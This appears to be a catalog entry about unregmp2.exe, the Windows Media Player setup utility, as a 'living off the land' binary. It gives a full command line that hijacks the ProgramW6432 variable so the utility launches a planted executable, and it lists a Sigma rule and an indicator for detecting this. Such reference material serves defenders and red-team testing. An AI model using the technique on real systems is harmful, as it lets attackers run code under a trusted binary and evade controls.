Microsoft Windows Media Player Setup Utility Located at: C:\Windows\System32\unregmp2.exe; C:\Windows\SysWOW64\unregmp2.exe.
unregmp2unregmp2Sandbox: execFile · Timeout: 30s
security.execution.command Outputs
process.output Command execution output
process_spawn Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | low |
| Disk I/O | low |
Allows an attacker to copy a target binary to a controlled directory and modify the 'ProgramW6432' environment variable to point to that controlled directory, then execute 'unregmp2.exe' with argument '/HideWMP' which will spawn a process at the hijacked path '%ProgramW6432%\wmpnscfg.exe'. (Proxy execution of binary)
rmdir %temp%\lolbin /s /q 2>nul & mkdir "%temp%\lolbin\Windows Media Player" & copy C:\Windows\System32\calc.exe "%temp%\lolbin\Windows Media Player\wmpnscfg.exe" >nul && cmd /V /C "set "ProgramW6432=%temp%\lolbin" && unregmp2.exe /HideWMP"| Type | Rule / Indicator |
|---|---|
| sigma | https://github.com/SigmaHQ/sigma/blob/197615345b927682ab7ad7fa3c5f5bb2ed911eed/rules/windows/process_creation/proc_creation_win_lolbin_unregmp2.yml |
| ioc | Low-prevalence binaries, with filename 'wmpnscfg.exe', spawned as child-processes of `unregmp2.exe /HideWMP` |
unregmp2 is a Windows LOLBin. Microsoft Windows Media Player Setup Utility Located at: C:\Windows\System32\unregmp2.exe; C:\Windows\SysWOW64\unregmp2.exe.